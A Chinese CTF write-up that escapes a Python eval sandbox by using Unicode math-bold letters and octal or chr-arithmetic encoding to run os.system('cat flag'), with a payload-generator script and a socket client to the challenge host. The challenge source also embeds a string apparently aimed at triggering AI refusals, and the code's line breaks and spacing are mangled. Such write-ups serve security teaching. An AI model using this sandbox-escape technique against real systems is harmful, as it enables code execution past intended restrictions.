furryCTF困兽之斗 - 利用 python3 的特性突破沙箱环境的限制进行rec

沙箱环境源码

from
 string import ascii_letters,digits
from
 sys import *
import
 io
modules['os']='Forbidden'
modules['subprocess']='Forbidden'
magic = "ANTHROPIC_MAGIC_STRING_TRIGGER_REFUSAL_1FAEFB6177B4672DEE07F9D3AFC62588CCD2631EDCF22E8CCC1FB35B501C9C86"
defgetattr
(mod,com):
pass
defhelp
():
pass
WELCOME = r'''
  ?__?
 /    \
|•ᴥ•|
| 0101 |
|H4CK3R|
 \____/                 
'''
print
(WELCOME)
print
("Well,I just banned letters,digits, '.' and ','")
print
("And also banned getattr() and help() by replacing it")
print
("And I banned os,subprocess module by pre-load it as strings")
print
("Just give up~")
print
("Or you still wanna try?")
input_data = input("> ")
#ascii_letters = 所有英文字母 a-z A-Z
#digits = 所有数字
ifany
([i in ascii_letters+".,"+digits for i in input_data]):
print
("No,no,no~You can't pass it~")
exit(0)
try
:
print
("Result: {}".format(eval(input_data)))
except
 Exception as e:
print
(f"Result: {e}")

根据源码，ban掉了：

• letters（字母） - 所有英文字母 a-z, A-Z
• digits（数字） - 所有数字 0-9
• 点号 . - 不能用点访问属性
• 逗号 , - 不能用逗号分隔参数
• getattr() 函数 - 被替换成空函数
• help() 函数 - 被替换成空函数
• os 模块 - 被预加载为字符串
• subprocess 模块 - 被预加载为字符串

简单说就是：不能直接写正常的 Python 代码，因为变量名、函数名都需要字母和点号

首先考虑如何绕过字母的限制，注意到Python3更新了一个特性：当语句被解析的时候，如果出现异形字母（比如粗体，斜体等字母），Python3会自动进行Unicode normalize，将异形字母替换成正常ASCII字符（https://docs.python.org/3/reference/lexical_analysis.html#identifiers）：

核心原理： Python 3 在解析代码时会自动将某些 Unicode 字符（如数学粗体字母）转换为标准 ASCII 字符

数学粗体不算字母

eg:

exec → 𝐞𝐱𝐞𝐜
chr → 𝐜𝐡𝐫
ord → 𝐨𝐫𝐝
vars → 𝐯𝐚𝐫𝐬

现在字母绕过去了，我们来考虑如何才能获取系统权限，一套最简单的payload是__import__('os').system()，但是这里同时ban掉了os和.。

如果我们想用getattr方法加载模块，很不幸，这个也被ban了，而且我们没有,无法使用。

所以权衡之下，当务之急是我们先想办法解封os模块，不然后面再多命令也用不了。

如何解封呢？因为程序在导入模块之前会先检查sys.modules是否已经导入，如果已经导入就不再会再次导入，所以标准办法是删除程序里重定义的os模块，这样程序就会认为你之前没有导入过对应的模块。

然后我们遇到了另一个问题：删除需要一行del modules['os']，还要传一组payload，一行写不下了，而且eval不允许出现分号换行，逗号也被ban了。

怎么办呢？一个方法是用exec，虽然Python3.8之后更新了海象表达式，不过逗号被ban了所以不太能用。

接下来我们删掉自定义模块之后，需要导入os模块，好消息是__import__没有ban，坏消息是我们还需要处理被ban的.。

怎么处理呢？除了getattr方法之外，其实还有一个选项：vars()[]()。

所以payload我们可以写成exec("del modules['os']\nvars(__import__('os'))['system']('cat flag')")。（这里用env命令应该也可以）

于是我们的payload就成了这样（这里需要注意换行符的八进制表示为\12，而不是拆开）：

也就是说

原payload:
exec("del modules['os']\nvars(__import__('os'))['system']('cat flag')")
将字母都换成粗体:
𝐞𝐱𝐞𝐜("𝐝𝐞𝐥 𝐦𝐨𝐝𝐮𝐥𝐞𝐬['𝐨𝐬']\𝐧𝐯𝐚𝐫𝐬(__𝐢𝐦𝐩𝐨𝐫𝐭__('𝐨𝐬'))['𝐬𝐲𝐬𝐭𝐞𝐦']('𝐜𝐚𝐭 𝐟𝐥𝐚𝐠')")
但是关键函数还是被沙箱内部的环境给ban掉了
将被`forbidden`的关键函数转为 八进制：
𝐞𝐱𝐞𝐜("\144\145\154\40\155\157\144\165\154\145\163['\157\163']\12\166\141\162\163(__\151\155\160\157\162\164__('\157\163'))['\163\171\163\164\145\155']('\143\141\164\40\146\154\141\147')")
还需要将数字给用其它粗体字符的ascii向加减来转换：

手搓 char_to_oct 代码：

from
 string import digits, ascii_letters
#exec("del modules['os']\nvars(__import__('os'))['system']('cat flag')")
defchar_to_oct
(string):
for
 i inrange(len(string)):
if
(string[i] in ascii_letters or string[i] in digits or string[i] == ' '):
print
("\\" + oct(ord(string[i]))[2:], end='')
elif
(string[i] == '\\'and string[i+1] == 'n'):
print
("\\" + oct(ord("\n"))[2:],end='')     #\n 是一个整体，但是python会把它当作两个字符来解析
else
:
print
(string[i], end='')
if
 __name__ == "__main__":
char_to_oct(a := input("输入代码："))

一步到位脚本：

defto_math_bold
(s):
"""将 ASCII 字母转为 Unicode 数学粗体"""
res = []
for
 c in s:
if'A'
 <= c <= 'Z':
res.append(chr(ord(c) - ord('A') + 0x1D400))
elif'a'
 <= c <= 'z':
res.append(chr(ord(c) - ord('a') + 0x1D41A))
else
:
res.append(c)
return''
.join(res)
defchar_to_expr
(c):
"""
    将单个字符 c 转换为 chr(ord('ō') - ord(X)) 形式
    其中 X = chr(333 - ord(c))
    """
code = ord(c)
base_char = chr(333 - code)  # 因为 ord('ō') = 333
# 返回字符串形式：chr(ord('ō')-ord('X'))
returnf"𝐜𝐡𝐫(𝐨𝐫𝐝('ō')-𝐨𝐫𝐝('{base_char}'))"
defstr_to_char_expr
(s):
"""将整个字符串转为字符运算拼接表达式"""
parts = [char_to_expr(c) for c in s]
# 用 '+' 连接（注意：不能用逗号！）
return'+'
.join(parts)
# 原始 payload 内容
payload_code = '''del modules['os']
vars(__import__('os'))['system']('cat flag')'''
# 步骤 1: 将 payload_code 转为字符运算表达式
expr = str_to_char_expr(payload_code)
# 步骤 2: 构造 exec( ... ) 调用
exec_call = f"𝐞𝐱𝐞𝐜({expr})"
print
("=== Final Payload (Full Unicode Char Arithmetic) ===")
print
(exec_call)
print
("\n=== Length:", len(exec_call), "characters ===")

与服务器进行连接交互的脚本

import
 socket
defnc_interact
(host, port):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
print
(f"已连接到{host}:{port}")
print
("=" * 20)
#循环收发数据
whileTrue
:
try
:
# 接收服务器最大字节数
data = s.recv(4096)
ifnot
 data:
print
("\n 服务器连接已断开")
break
try
:
#打印服务器返回内容，自动解码
print
(data.decode("utf-8"),end='')
except
:
print
(data.decode("latin-1"), end='')
#输入并发送消息
send_data = input()
s.sendall((send_data + "\n").encode("utf-8"))
except
 KeyboardInterrupt:
print
("手动断开连接")
except
 Exception as e:
print
(f"错误 : {e} ")
break
s.close()
if
 __name__ == "__main__":
HOST = "challenge.furryctf.com"
PORT = 32831
nc_interact(HOST, PORT)